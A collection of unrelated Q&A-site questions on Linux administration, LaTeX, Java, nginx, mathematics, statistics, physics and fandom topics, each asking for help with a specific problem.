$ lsb_release -a   No LSB modules are available.   Distributor ID:   Ubuntu   Description:  Ubuntu 16.04.3 LTS   Release:  16.04   Codename: xenial $ sudo apt-get install rpcbind   Reading package lists... Done   Building dependency tree          Reading state information... Done   Package rpcbind is not available, but is referred to by another package.   This may mean that the package is missing, has been obsoleted, or is only available from another source    E: Package 'rpcbind' has no installation candidate $ sudo apt search rpcbind   [sudo] password for mohet01:    Sorting... Done   Full Text Search... Done     How to install rpcbind?


Using url package without hyperref makes link hit boxes erratic

I've currently got a url link in a footnote in my document. With the hyperref package, everything works correctly. Because the IEEE PDF Express tool doesn't like having the hyperref package, I've removed it and only left in the url package.  However, some strange behavior occurs as a result of this. Instead of just the link being clickable, entire paragraphs of text before/after end up being clickable and going to the same link. This occurs for both Skim and Preview in Mac OSX.  Does anyone have an inkling of what might be causing this?


Permission denied to create a symbolic link; sudo errors out

I am trying to install phalcon development tools. In the documentation they said:  Create a symbolic link to the phalcon.php script:  ln -s ~/phalcon-devtools/phalcon.php /usr/bin/phalcon chmod ugo+x /usr/bin/phalcon   and after connecting to my Ubuntu server, at the step of creating symbolic link to the phalcon.php script I get an error:  ubuntu@ip-000-00-0-00:/$ sudo ln -s ~/phalcon-devtools/phalcon.php /usr/bin/phalcon sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set   How can I complete the installation?  When I try without sudo I get:  ubuntu@ip-000-00-0-00:/$ ln -s ~/phalcon-devtools/phalcon.php /usr/bin/phalcon ln: failed to create symbolic link ‘/usr/bin/phalcon’: Permission denied     I have tried all the answers from this question but still getting same errors:


(solved) Mysterious and frequent activity on secondary disk, event when offline in Disk Management

Update (solved) The sound was coming from my speakers, that's all there is to it. While I go to cringe in a small hole for a few weeks I'd like to thank (and beg forgiveness from) everybody who took time thinking about this. Technically Twisty's comment is the closest to deserving the bounty, but without any actual answers for the question I'm probably not going to award to anyone. Thanks again for the help.  Update 2 I take the disk offline using Disk Management and it still clicks as before. Doers this mean it's solely a hardware issue? If it's offline how could the OS be triggering any access? Some sort of motherboard issue?  Update I'm beginning to think this may have something to do with the 2nd disk's controller. It is quite a cheap drive which I just bought for the space, so perhaps isn't doing things as well as it could. The only driver installed is the default Window one. This poses a few questions:   Is there a good reason why a HDD may be 'clicking' when there is no explicit attempt to access them? Is this occasional background work a normal part of operation? Could this possibly be triggered or exacerbated when another disk (the 1st disk) is being explicitly accessed?   Original question  My Window 7 PC has an SSD as the boot disk, containing all program installs and user data, and a secondary HDD which I use to store large files, films and music etc.  When taking literally almost any action on my PC that involves disk access to the 1st disk, the 2nd disk has a burst of activity (it's quite loud so hard to ignore). In particular, loading web pages will cause constant activity until the page is loaded - I've checked with a few different browsers and the results are the same. However, there is no noticeable disk activity when doing nothing (i.e. letting my computer idle), so there is presumably something triggering it.  I've done the usual search for culprits - using Process Monitor, Process Explorer and Resource Monitor and can see no trace of any access to the 2nd drive. I even checked that I wasn't doing anything wrong by creating a few files on the drive - these get picked up by the tools perfectly, but none of the activity heard otherwise is recorded. I tried disabling my anti virus and there is no difference.  Given that I cannot pick up any trace of this activity using the usual tools (I can certainly hear it though!), does anyone have any suggestions as to what might be causing it? Any suggestions as to what I can look for next? Some sort of hardware issue? The disk is brand new.  Any help will be much appreciated :)  System information:   Windows 7 SP1 Antivirus: Avast 2014.9.0.2021 Disk 1: OCZ Vertex Disk 2: HGST HTS721010A9   Note I do not believe this is a complete duplicate of  for the following reasons:   Their problem there appears to be one of periodic access, whilst my disk access appears to be triggered by some actions (and will not occur when doing nothing). There is no actual record of the secondary disk access - no spike in resource monitor, no file access in reported in procmon. I have tried shutting down services as suggested by the answer, and no difference was made to the disk access before I couldn't shut down any more.   I have run a trace in DiskMon but am not sure how to reconcile sector numbers with actual access to the 2nd disk. Perhaps someone could give some advice on this? Does DiskMon monitor all physical disks on the system?


If I wanted to control several ICs that exceed the current rating of an Arduino 5V supply pin with an external DC regulator (which also would power the Arduino itself), should the ground planes of the DC regulator be be connected to the Arduino GND pins?


Let $f$ be a continuous  mapping of a metrizable  space $(X,\tau)$  onto a topological space  $(Y,\tau_1)$ .  Is $(Y,\tau_1)$  necessarily metrizable ?


Is there a way that I can search through which comments I've got the most upvotes from? I think it would be interesting.   It would also be nice to see other users high rated comments.   Does this kind of functionality exist? Could we add this?  Again, it's small, but would be a nice-to-have


Make [webstart] a synonym of [java-web-start]

First off, I know that this question could be considered a duplicate of , but see what I'm about to tell you. I know that  has already been proposed as a synonym for , which it shouldn't be, because JNLP, or Java Network Launch Protocol, is the  protocol used BY Java Web Start to operate. Now, these questions have been largely unnoticed, with the moderators simply commenting that they can't, because of the synonym problem. In my opinion, the moderator should have:   looked at the definitions of  and  and seen that the synonym proposal was incorrect, rejected the proposal to make it so that other tags can be synonyms of , and proposed  to be a synonym of    However, none of these actions were taken, and I feel that moderators seem to be simply not doing anything about them (by that, I mean not even marking it as ). For now, I just post my JWS questions under both tags. Why didn't the moderator do anything in the last question?


Expression for the Fourier transform of $f(x) = \frac{1}{1 +\|x\|^2}$

I'm having troubles with the Fourier transform of $f(x) = \frac{1}{1 +\|x\|^2} \in L^2(\mathbb{R}^{n})$. For the case $n=1$ I got $\hat{f}(\xi) = \pi e^{-2\pi |\xi|}$ using residues. Does the general case have a nice expression? How is that expression obtained?


Theory: Logistic Regression MLE does not exist when data are perfectly separable?

I realize that this is a relatively well published/understood concept, but I'm unfamiliar with how the conclusion is derived. Could someone ELI5 why when the data are perfectly separable, the MLE for a logistic regression $\hat{\beta} = \infty$?


Rotation About Axis of Diatomic Molecule

While counting the degrees of freedom of a diatomic molecule, We neglect the rotation about the axis of the molecule stating the reason that it's energy is negligible. I agree with this reasoning, and have no questions about it.  But if we look at the derivation of the equipartition theorem (), then we see that any independent energy which is a quadratic function of momentum or position should have an energy of $\frac{1}{2}kT$.  But the above derivation never assumes that the energy should not be neglegible, or anything else of that sort. So according to the derivation, even the rotation about the axis of the molecule should have a energy of $\frac{1}{2}kT$.   So, why don't we count the rotation about the axis as a degree of freedom?


How do I load a field collection from a node?

I have a node that has a few field collections on it.  When I look at node_load() output, I see:  [field_rich_text_group] => Array         (             [und] => Array                 (                     [0] => Array                         (                             [value] => 6                         )                      [1] => Array                         (                             [value] => 7                         )                      [2] => Array                         (                             [value] => 8                         )                  )          )   What API function can I use to actually load the field data contained in the collection that has an entity_id of 6, 7, 8, etc?


Prove that a continuous function of compact support defined on $R^n$ is bounded.

I am working through a few sets of notes I found on the internet and I came across this exercise. How do I prove that a continuous function $f$ of compact support defined on $R^n$ is bounded?  It seems believable that it is true for $f$ in $R$ because I can visualize it but how do I prove this properly for $R^n$? Any ideas?


I was unsatisfied with how the # symbol looked in my document and had a look at . I tried to create a simple macro to replace   #   with  \texttt{\#}   I thought that a simple   \renewcommand{\#}{\texttt{\#}}   would do the trick. Instead, I'm getting a fatal (!) error.  [25] [26] [27] [28] [29] (c:/texlive/2017/texmf-dist/tex/latex/base/t1cmtt.fd) ! TeX capacity exceeded, sorry [grouping levels=255]. \hmode@bgroup ->\leavevmode \bgroup    !  ==> Fatal error occurred, no output PDF file produced! Transcript written on Thesis.log.   What is going wrong and why? How can I succesfully create the macro I need?


How do I install Ubuntu on an ASUS C100P Chromebook

The download file will not open because it's not supported. How do I open the ubuntu desktop file and install it?


Does the OLS regression line pass through the mean of ALL covariates?

So in a OLS simple linear regression, the regression line passes through mean of X and mean of Y.   It also passes through the point (mean X, mean Y).  Is this still true for a OLS multivariable regression.  Does that regression line pass through the mean of Y and all the Xis?  Does it also pass through the points (mean Xis, mean Y).  Thanks!


How to work out how many IP's you've got available on a /29 network mask

This might sound like a stupid question but I would really like to know how I would work out how many IP's I've got available on this network range:   196.44.198.32/29  Can someone explain it to me, what the /29 means and how you calculate it.  The amount of IP's you've got available, the one that would be use to broadcast ect.    Kind regards Conrad


What happens when I change display name in the SE profile?

When I change display name in the profile, it asks if I want to update it on all network sites. That's fine. But what happens to mentions in the comments?   Does it change @mentions in the old comments? for example if someone says "@matrix..." in comments. Does it change the name mentioned without '@' in the old comments. For example if someone says "as matrix said..." in the comments.   I have seen  and  answers but that was three years back (july 2010). Has the things changed now as they provide auto-suggest for @mentions.


Java strings comparison results in different boolean values

Can anyone please explain, why the outputs are printing two different boolean values. why aren't strings being compared not equal in this case. while simply comparing two strings with '==' operator does compare the strings. For example,     System.out.print("paper" == "paper") prints true. Thanks in advance. :)    package my_pack;      import java.util.Objects;     import java.util.Random;     import java.util.Scanner;       public class game {         public static void main(String[] args) {             //get the user input get_input()             Scanner scn = new Scanner(System.in);             System.out.println("Rock Paper or Scissor? Enter Your choice: ");             String user_choice = scn.nextLine();             user_choice = user_choice.toLowerCase();              //get the random number             Random rand = new Random();             int random_num = rand.nextInt(3) + 1;              //assign the number to specified method             String comp_choice ="";             switch (random_num){                 case 1:                     comp_choice = "rock";                     break;                 case 2:                     comp_choice = "paper";                     break;                 case 3:                     comp_choice = "scissor";                     break;             }             System.out.println(comp_choice);             System.out.println(user_choice == comp_choice); //paper == paper (false)             System.out.println(Objects.equals(user_choice, comp_choice)); //paper == paper (true)          }      }


Is it "Myself and _____", "_____ and myself", or "____ and I"?

For example, "Lucy and I are going to a movie" vs. "Myself and Lucy are going to a movie" vs. "Lucy and myself are going to a movie"


Does a Ugandan need a visa to transit in Armsterdam?

I'm a Ugandan going to Ecuador, transiting in Amsterdam. Do I need a visa?


getting the length of array provided array is being accessed through pointer

For ex. I have a function void len(int *A){ // or we have its reference  // can I find the length of array here or // we just need to pass the length along as the parameter  }


Are employments in universities affiliated (or named) with a specific religion restricted to people with the same religion?

I just saw an ad in mathjobs.org about an opening in a Catholic university, see . I am not christian. So I was wondering to be eligible for employment in a university or college affiliated with a specific religion, should the applicant  have the same religion, or other people from other religions (or even non-religious people) are eligible to apply as well?


Is Star Wars: Clone Wars (Tartakovsky) still part of the official Star Wars canon?

Per  on a recent Star Wars question, is the 2003 Tartakovsky "" TV series still part of the official Star Wars (Disney) canon?


Tags in spoilers are always visible, even if you don't put your mouse on the spoiler (on  for example). See the screenshot:      Looks a bit strange on this site too:        that needs !


Second countable and sequentially compact topological spaces are compact. Proof

I can’t prove that a space having a countable basis and being sequentially compact is indeed compact. Can anyone help me with the prove? Thanks!


I'm reviewing English grammar from the beginning, so I have a very basic question. I want to know what it is called when we use "are + past format" in a sentence. In example:   They are normally printed in a company. Mongo trees, which are densely covered with glossy leaves, grow rapidly.   I know this question might seems really stupid to you, but its a real question and it makes some confusion in my mind.  we can see almost all verb tenses we have and I didn't find this format in this cheat sheet.  This question is not a duplicate of any other question, it is just my personal confusion regarding passive tenses in a special case.


I tried to using $2^{999} = \sum^{999}_{i=1}\binom{999}{i}$ but I just don't know how to continue from here.


disable page prefix in KOMA-Script (scrletter)

The  KOMA-Script package scrletter by default typesets the word "Page" (or language-dependent equivalent) preceding the actual page number in the footer. How may this behavior be disabled, in favor of typesetting simply an unlabelled number?  See  for solution to this question for class scrlttr2.


I was just talking with a friend about an old Dr Who episode from the late 70s or early 80s where there were some kind of humanoid bat like alien with leathery wings that they used like a cloak to envelop people and dissolve them.  We were talking about it because it was an episode that scared the bejezus out of me when I was a little kid. Does anyone know what episode this was?


What size of number should be written in digits as opposed to spelt out?

I was taught that small numbers should be written with letters and not numerals. For example "5" would be "five". I've heard conflicting rules and am wondering what the largest number that should be spelt out and not written with digits is? Is it really a matter of opinion or is there a general consensus?  Also, when writing ordinal numbers what is the largest that should be written as opposed to spelt? For example 1,000th vs one-thousandth.


How can I add to a List's first position?

I just have a List<> and I would like to add an item to this list but at the first position. List.add() add the item at the last.. How can I do that?.. Thanks for help!


Academic reference for the claim that outliers should not be removed

We can easily find in many online sources, including here in Cross Validated, the claim that outliers shouldn't be removed from data (at least without a good reason). In the thread below, for example, this is the general advice given by most users:    I'd like to quote this claim from a trustworthy source, but I couldn't find such statement in any introductory statistics books.  Is this belief just general wisdom of the crowd or there is something to support it?  EDIT (Justification that this question is not duplicated)  Please, remark that this question is asking for academic references (e.g. the name of a book or a paper) for the claim (posts from CV are no enough for my current needs). Something that could be quoted in a business report or in an academic paper. The question is not concerned with the problem of removing outliers being a good practice or not, as previous questions here in CV.  Possible Answer  The user davefournier suggested in the comments the book:  Robust Statistics, 2nd Edition Peter J. Huber, Elvezio M. Ronchetti ISBN: 978-0-470-12990-6  I just glimpsed at it and it seems promising. I still need to read it a little more to be sure if directly answers the question.


Nginx can not redirect HTTP to HTTPS in the proxy mode

When I access with https protocol, it works. But I access with http protocol, it doesn't work at all.  My Nginx version is 1.12.1. Here is the config: /etc/nginx/sites-available/***:  server {     listen 80;     server_name ***;     client_max_body_size 10240M;      location / {         proxy_pass http://localhost:8080/guacamole/;         proxy_buffering off;         proxy_http_version 1.1;         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;         proxy_set_header Upgrade $http_upgrade;         proxy_set_header Connection $http_connection;         proxy_cookie_path /guacamole/ /;         access_log off;     }      listen 443 ssl; # managed by Certbot     ssl_certificate /etc/letsencrypt/live/***/fullchain.pem; # managed by Certbot     ssl_certificate_key /etc/letsencrypt/live/***/privkey.pem; # managed by Certbot     include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot      if ($scheme != "https") {         return 301 https://$host$request_uri;     } # managed by Certbot }


Is it possible to cascade several different ICs on the same data line, in order to use less CS pins, by tying the digital output of each to the digital input of the next? I am familiar with this approach on similar/equal devices, but I'm not sure if there are some additional issues I should be watching out for.  EDIT: By digital output I pin the output pin many SPI devices provide, e.g. MAX395 or 74HC595 Shift registers.


Why does Java allow both int x[] and int[] x?

NOTE: this question was previously marked as a duplicate. It's subtly different, though: the  asked what the difference is between the two syntaxes; whereas I know there's no difference in meaning, and I'm asking in that case why Java allows both.  Why does Java allow both  int x[];   and  int[] x;   when I declare an array?  The latter makes much more sense: the variable is called x, not x[], and its type is int[], not int. Why not just enforce this? Allowing two different syntaxes seems just to invite confusion and inconsistency. It even appears to make it possible to declare a two-dimensional array as  int[] x[];   which is bordering on unreadable.  Is it something borrowed from C? (Why would C do it that way round, anyway?)


How do I flag highly upvoted duplicates?

These two questions have a lot of upvotes and their answers also carry a lot of votes. Now, I decided to flag one of them as a duplicate of the other.  How do I decide which of the questions is a duplicate of the other? They are both from 2009. But one of the questions was asked in January while the other question was asked in May.  Do I, as a user when flagging duplicates:   Mark the newest question as a duplicate of the oldest? Mark the question with the least votes as a duplicate? Mark the question with the lowest number of upvotes on the accepted answer? Mark the question with least amount of views as a duplicate?    In the end I decided to flag the newer question as a duplicate of the older question. Regardless of votes.


Get PID of a function executed in the background

#!/bin/bash  function abc() # wait for some event to happen, can be terminated by other process {     sleep 3333  }  echo "PID: $$" abc & echo "PID: $$"  I need to retrieve the pid of this function, but the echo prints the same string.  If I'm not going to put abc() out of this script, is it possible to get it's pid and terminate that function?


Tell Windows 7: "This is a thethering WLAN, allow only Browser and skype to use it."

Is there some software that can be configured to recognize certain WLAN SSIDs as tethering connection and block all traffic from programs other than those explicitly added to a whitelist?  I know that it should in theory be possible using just the Windows firewall; If I'd find that a satisfactory solution, I would consider my question a clear duplicate.  Considering though how quickly a 1GB/mth volume can be exceeded when Steam starts downloading some update, I'd rather prefer a special-purpose program that makes the task easy and misconfiguration unlikely. Ideally there should be a taskbar icon indicating that the limitation rule has been enacted, similiar to Nvidia optimus indicating dedicated graphics activity.


Temporarily disable Desktop Composition in Windows 10?

Is it possible to do? It was easy to disable it in Vista and 7, and slightly more complicated but nonetheless easy to do in 8 and 8.1 as well.  Can it be done on Windows 10 reliably and repeatedly? It seems to work on a fresh install if you disable explorer, then suspend winlogon, then disable dwm. You can then proceed to reopen explorer and resume winlogon. However, after a few tries, the method no longer works. Dism and sfc/scannow seem to fix it, but that only works a few times as well. Any insight on this please?


I am wondering how to erase my hard drive completely, Grub and all, because my hard drive is messed up.    This is what I would like to do when it's wiped clean:       Install Windows 7 Home Premium 64-bit from system image. (first and primary)   Install Ubuntu 12.04  64-bit. (desktop) (going to be Ubuntu TV)   Install 4MLinux 64-bit (for maintenance)     I would like to use the Windows Boot Manager to be able to load any of the four OSs. Ubuntu Grub is fine though, but it's not really what I wanted. I also need a partition for each OS. I have 250GB.  How would I do this correctly? I tried and messed up badly before.  UPDATE: I have got Ubuntu installed!


Why are periodic boundary conditions used for the derivation of phonons?

I am currently reading "Quantum Field Theory for the Gifted Amateur". In chapter 2 Phonons are introduced as solutions (in k-space) of a coupled harmonic oscillator. In real space the oscillator is coupled, but apparently not in k-space (after doing a Fourier-Transform on the x,p Operators). During the solution the author used periodic boundary conditions but I don't see why they should accurately describe a finite crystal that is not shaped like a ring.  In a different book the solution was also obtained with periodic boundary conditions.  Are more realistic boundary conditions impossible to solve? I would have guessed that we assume that the wave-function (of the phonons) is supposed to be zero outside of the lattice instead of this infinite periodic behaviour.  A fininte crystal might be very different than a infinite crystal (interpreation of the periodic boundary). They seem like two completely different systems. Why do we use periodic boundary conditions and how accurate is this?


Compact support vs. vanishing at infinity?

Consider the two sets  $$ C_0 = \{ f: \mathbb R \to \mathbb C \mid f \text{ is continuous and } \lim_{|x|\to \infty} f(x) = 0\}$$  $$ C_c = \{ f: \mathbb R \to \mathbb C \mid f \text{ is continuous and }  \operatorname{supp}{(f)} \text{ is bounded}\}$$     Aren't these two sets the same? What am I missing?


Is it true that honey never spoils? Why?

I've heard that "honey never spoils", but I'm incredulous.  Is this true, and if so, how?  Isn't there some indicator that I should throw the honey in my cupboard away?


Compute  $\mathbb{Z}[1/2]\otimes_{\mathbb{Z}} \mathbb{Z}/3$   My initial instinct was that it is equal to $\mathbb{Z}/3[1/2]$, but I couldn't show this is correct by the universal propert. Hence, I think that my instinct misled me. However, I would like to know what is the right way to think about it, without unnecessary guesses.  Thank you!


I was curious about the nature of Wolverine's healing abilities and some of its oddities.  I've heard that Angel can provide limited healing via blood donation.   Are there any canon examples of Wolverine donating an organ or blood? If so, does this organ exhibit any additional healing or resiliency? If not, his blood is D+.  Is that why he can't or doesn't?   I would prefer to avoid X-Men Origins and any land wars with Asia.


How can we show that $(I-A)$ is invertible?

$A$ is an $n\times n$ matrix with $\|A\|≤a<1 $ . I need to prove that the matrix $(I-A)$ is invertible with $\|(I-A)^{-1}\|\le\frac1{(1-a)}$.   It doesn't say anything more. The norm makes me confuse. How can we start to solve this. Could you please help?


how to copy file from host os to virtual box os?

Am having windows 7 in my laptop, and i have installed ubuntu 16.04 in my virtual box. For my project work i need to use some files in ubuntu virtual os, how can i copy those files to ubuntu from windows?


How to type "ç" when using USA intl as the keyboard layout?

I asked  but I can't make that solutions work on Unity. I want to use the keys ´ followed by c and the output should be "ç". It works that way in Windows out of the box, and it did work in Ubuntu 10.10 following the solutions given in the question above. But in 11.04 it outputs "ć". How to change that?


What is the solution to the Squirrel sequence of letters question?

I'm at the part where I am asked to complete a sequence of 7 letters and a question mark. I simply just don't understand what I am supposed to do. Can I get some help?


I am new to multiclassing and new to spells with 5e. Currently I am a Level 3 Rogue (Arcane Trickster) and just leveled up to level 4. For my fourth level, I was going to put a level into the wizard class as it makes sense for my backstory. However, I'm confused by the calculation for determining what spell slots I have. According to the  rules in the PHB (p. 164-165), to determine what spell slots I have, I would take my rogue level divided by 3 and then rounded down (1), and add it to my number of levels in the wizard class (1), for a total of 2. Then looking at the 2nd row of the  table on page 165, it would seem that I'd have three 1st-level spell slots. But that doesn't make sense to me, as I originally had two 1st-level spell slots as an Arcane Trickster rogue, and a 1st-level wizard has two 1st-level spell slots. Would a multiclassed Arcane Trickster rogue 3 / wizard 1 have only three 1st-level spell slots? Or would they have four?


What is $\,a\bmod 63\,$ if $\,a\,$ is both a square and a cube?

Let there be integers $a,m,n$ such that $a=m^2=n^3$. Show that $a\equiv 0,1,28,36\pmod{63}$. I have established that $a$ must be a sixth power of an integer: $$a=\frac{a^3}{a^2} = \frac{m^6}{n^6} =\left (\frac{m}{n}\right )^6$$ $n^6\mid m^6$ implies $n\mid m$ so $\frac{m}{n}=:b\in\mathbb{Z}$. My objective is to show that $b\equiv 0,1,28,36\pmod{63}$. Then for every $f\in\mathbb{Z}[X]$: $$b\equiv r\pmod{n}\Longrightarrow f(b)\equiv f(r)\pmod{n} $$ (just pick $f(x)=x^6$). Trouble is, I have no idea how to show $b$'s congruences. How to proceed?    Alternatively, I could also state that $a = 63t+r, 0\leq r<63$, but I don't know how to tie in the fact that $a$ is a perfect cube/square at the same time. Advice?


How do I make my bicycle as ugly as possible without affecting the riding qualities?

I live in a city known for extremely high rates of bike theft (Prague, Czech Republic). I'm therefore looking to make my bicycle appear as cheap and ugly as possible to deter possible thefts.  What are the best ways to do so, which won't affect the quality of the cycling?


Difference between static and dynamic approval processes

Can anyone answer to the following questions:   What is static approval process What are the limitations of static approval process Purpose of Dynamic approval process Differences between static and dynamic approval processes.   Thanks in advance.


Where do the Naruto movies fall in the timeline?

I know that the Naruto movies are outside the timeline in the sense that they don't affect whatever happens after them. However, they must fall somewhere in the Naruto timeline — based on who are in the movies and how the characters look like, etc. For example, if Sasuke isn't in the movie, it should take place after he left. For each of the movies, approximately what timeframe (between episodes/arcs) are they set?  The movies:   Ninja Clash in the Land of Snow Legend of the Stone of Gelel Guardians of the Crescent Moon Kingdom Naruto Shippuden the Movie Bonds The Will of Fire The Lost Tower Blood Prison Road to Ninja The Last - Naruto the Movie Boruto: Naruto The Movie


An Error Has Occurred Running Scripts On This Page - Repairing issue with batch script?

If you've been using ArcGIS for a while, you will have most likely come across this error:    The issue is linked to some sort of ActiveX plugin security setting in the 32 bit version of Internet Explorer. A quick fix is to go into the Security settings of IE and change it from Medium high to Medium, and the problem will be resolved. This is all fine and dandy, I've made the change on my home laptop and there are no more script errors there.  However, my main issue is that on my work computer, the administrators have set the machines up so that any changes done during the session are reverted after a logoff or reboot. It's tiring to open the Internet security settings every day - Is there a way to write a batch or python script that will do this automatically?


hide (forever) specific updates in Windows 10? HP Printer update failure

As you can see in the screenshot below, my system attempts (multiple times per day) to install an HP printer update that will never work. How do I stop this?


The content  \documentclass[margin=1cm]{standalone}  \usepackage{filecontents} \usepackage{pgfplots}  \begin{filecontents}{dummy.txt}     category,amountTotal     excellent,0     good,8     neutral,2     not good,0     poor,0 \end{filecontents}  \begin{document}     \begin{tikzpicture}         \begin{axis}         [             ybar,             symbolic x coords={excellent,good,neutral,not good,poor},             xtick=data,             x tick label style={rotate=45,anchor=east},                      %xticklabels from table={dummy.txt}{category}         ]             %\addplot coordinates {(excellent,0) (good,8) (neutral,2) (not good,0) (poor,0)};             \addplot table[x=category,y=amountTotal,col sep=comma] {dummy.txt};         \end{axis}     \end{tikzpicture} \end{document}   compiles just fine with lualatex -shell-escape filename.tex. However, when I try to get the xticklabels from the file dummy.txt by means of the command xticklabels from table={dummy.txt}{category}  \documentclass[margin=1cm]{standalone}  \usepackage{filecontents} \usepackage{pgfplots}  \begin{filecontents}{dummy.txt}     category,amountTotal     excellent,0     good,8     neutral,2     not good,0     poor,0 \end{filecontents}  \begin{document}     \begin{tikzpicture}         \begin{axis}         [             ybar,             %symbolic x coords={excellent,good,neutral,not good,poor},             xtick=data,             x tick label style={rotate=45,anchor=east},                      xticklabels from table={dummy.txt}{category}         ]             %\addplot coordinates {(excellent,0) (good,8) (neutral,2) (not good,0) (poor,0)};             \addplot table[x=category,y=amountTotal,col sep=comma] {dummy.txt};         \end{axis}     \end{tikzpicture} \end{document}   I get the error   ! Package pgfplots Error: Table 'dummy.txt' appears to have too many columns in  line 8: Ignoring 'good,0'. PGFPlots found that the number of columns is larger  than the previously determined number of columns. Please verify that every cel l entry is separated correctly (use braces {<cell entry>} if necessary. Also ve rify that column names are plain ASCII.). This error is not critical.   What am I doing wrong? Does xticklabels from table understand that the column separator is in this case a comma?


How can I use the find command to locate directories that do NOT contain a particular file? E.g., if I have bunch of directories that should be under revision control, can I search and find the ones that do not have a .git sub-directory? Or, my project specifies that all modules should have a utilities.py file; how do I search to find which sub-directories do not yet have the required file?


What to write in the followup email to a professor for a graduate teaching assistantship

I will be pursuing masters from UT Austin this fall.I have mailed professors for the position of  a teaching assistant. Some of them replied and some did not.  What should I write in the followup email to the professors who did not respond.  Thanks!


Why use this comma in this return statement?

I understand what this C++ function does, but I don't understand why the return statement is written this way:  int intDivide(int num, int denom){   return assert(denom!=0), num/denom; }   There is only one statement here, because there is only one ; but the comma confuses me. Why not write:  int intDivide(int num, int denom){   assert(denom!=0);   return num/denom; }   Aside from "elegance" is there something to be gained in the first version?  What exactly is that comma doing anyway? Does it break a single statement into 2 parts such that essentially the above 2 versions are identical?


How does the kernel assign cpu ids to physical cores?

One may find a lot of info about how to inspect physical cores layout in a running linux system, but I'm wondering how the physical cores are assigned a cpu id in the first place.  After experiencing on a couple of machines, it appears to me that the assignment is deterministic (i.e. booting from the same hardware will result in the same cpu ids assignment to physical processing core). Also, it seems to me that the assignment works somehow "round-robin", such that two cores with nearby numbers are physically far away from each other. For example, in one server I'm working on (2 sockets x 8 cpus x 2 hyperthreading,  x86_64): cpu0 is on socket 0, cpu1 is on socket 1, then cpu2 is again on socket 0 but it's on a different physical core from cpu0; ... goes on like this until cpu15, then cpu16 is hyperthreaded on the same physical core as cpu0.    If this is deliberate as it seems, do you know of anywhere I can find this behaviour documented? What's the rationale behind it?  I'd expecially appreciate any reference to documentation or lkml post, but even a pointer to the right place in the sources could be helpful.


I have Ubuntu 16.10 with Windows 7. I installed Ubuntu ( first ) then I created a partition for Windows, then installed it on the partition so that deleted GRUB. So I restored GRUB , but now Windows 7 is not appearing in GRUB.  Any solutions on how to add Windows 7 to GRUB?


Failed a Reopen Question audit — sure looks like "Not a real question" to me

I just failed , which was shown as being closed as "Not a real question".  Seeing as the vote count was positive, I figured it was an audit, but I selected "Leave Closed" anyways because to me     It's difficult to tell what is being asked here.  This question is ambiguous, vague...   There's no code examples, and the phrasing is clunky at best.  This is my second failed audit in two days for difficult questions (first failed audit is , also now closed), so if I get temporarily suspended, it won't be the end of the world (I'll think of it as a forced vacation).    That said, is there a way to dispute these audits?  Or is posting the audit here sufficient?


I wanted to build a little command to show me the different lengths of spaces. Sadly I am having problems with \verb accepting my parameter. \documentclass{article} \usepackage{listings}  \begin{document} % this works: $I\ I$ \verb|'\ '|  % interpretes the spaces %\newcommand{\genLine}[1]{$I#1I$ & \texttt{'#1'}\\}  % doesn't work with command %\newcommand{\genLine}[1]{$I#1I$ & \verb|'#1'|\\}  % package listings has problems with the '\' \lstset{language=Tex} \lstMakeShortInline{|} \newcommand{\genLine}[1]{$I#1I$ & \lstinline|'#1'|\\} \begin{tabular}{rl}     Beispiel & Befehl \\ \hline     \genLine{\,}     \genLine{\:}     \genLine{\;}     \genLine{$ $}     \genLine{\ }     \genLine{\enspace}     \genLine{\quad}     \genLine{\qquad} \end{tabular} \end{document}


How to prove that  $$\sum_{n=1}^{\infty}\frac{1}{4^n\cos^2\frac{x}{2^n}}=\frac1{\sin^2x}-\frac1{x^2}$$


Can I Turn Off or Remove Map Layers in QGIS Print Composer

The title pretty much says it all.  I have a base map in QGIS that I am using with several Print Composers.  In one of the Print Composers, I don't want one of the layers to show up.  Is there any way to accomplish this?


Is it normal for MacBook Pro to get extremely hot under idle loads?

I have a 2019 MacBook Pro and this is about the first Mac I've worked with. The metal case above the keyboard gets extremely hot even when I'm not using the MacBook but have it on. Under normal and high loads that part of the case gets hot enough to burn if touched for about a second.   I can't tell if this is normal considering it doesn't seem to have a fan or a fan moving fast enough to be audible. I am almost wondering if it's intended and the Metal case is used to dissipate heat.


How can I implement interface methods in the static class without Interface Inheritance in .NET?

Interface :  public interface IArrayOperation {     int GetElement(int index);             bool IndexCheck(int index); }   Static Class:  public static class TestArray {     public static int GetArrayLength(IArrayOperation arrayOperation)     {         // Implement your logic here.         // I need to implement interface method over here.         throw new NotImplementedException();     } }   Here, I want to implement both interface methods in the static class method GetArrayLength().   I don't want to implement interface but I have passed the interface as a parameter in the static class method.  Appreciated any help or guidance.


why i can not get the same order of writing in the code with the pdf output file?

in my paper I used tables to display the results, these tables do not come in the pdf file as same as the writing's order in the latex code


I have only a basic understanding of mathematics, and I was wondering and could not find a satisfying answer to the following:     Integer numbers are just special cases (a subset) of real numbers. Imagine a world where you know only real numbers. How are integers defined using mathematical operations?   Knowing only the set of complex numbers $a + bi$, I could define real numbers as complex numbers where $b = 0$. Knowing only the set of real numbers, I would have no idea how to define the set of integer numbers.  While searching for an answer, most definitions of integer numbers talk about real numbers that don't have a fractional part in their notation. Although correct, this talks about notation, assumes that we know about integers already (the part left of the decimal separator), and it does not use any mathematical operations for the definition. Do we even know what integer numbers are, mathematically speaking?


I have got JSON Object as shown below    var flds = {   "EmpID": {     "name": "EmpID",     "type": "String",     "hidden": false     }   "prefix": {     "name": "prefix",     "type": "String",     "hidden": false     }   "createDate": {     "name": "createDate",     "type": "Date",     "hidden": false     }   } }   i am trying to remove createDate   i have tried as foloows  for (key in flds) {         key = flds[key];         if(key instanceof Object || flds.hasOwnProperty(key)) {         if(2<3)             {                 if(key.name=='createDate')                 {                      delete key;                 }             }           } }


Limit to number of weapon/armor enhancements?

If I wanted my party's spellcaster to enhance/enchant a weapon or piece of armor, is there a limit to the number enhancements it can have on it? I haven't read anywhere that there is a limit, but putting an unlimited number on them seems OP. I also remember the game Neverwinter Nights 2 limited you to 4, but it didn't follow the rules 100%.


How do I find this volume using triple integral?

I have two cylinders $x^2 +  y^2=a^2$ and $x^2+z^2=a^2$. I need to find the volume common to both of them. Now, I know that one of them has axis along $z$ axis and the other has it along $y$ axis. I am having trouble in visualising the limits of $x$ and $y$.  The $z$ must be enclosed within $0$ to $a$ and maybe y between $-a$ to $a$. Please help in evaluating the limits for $x$ portion


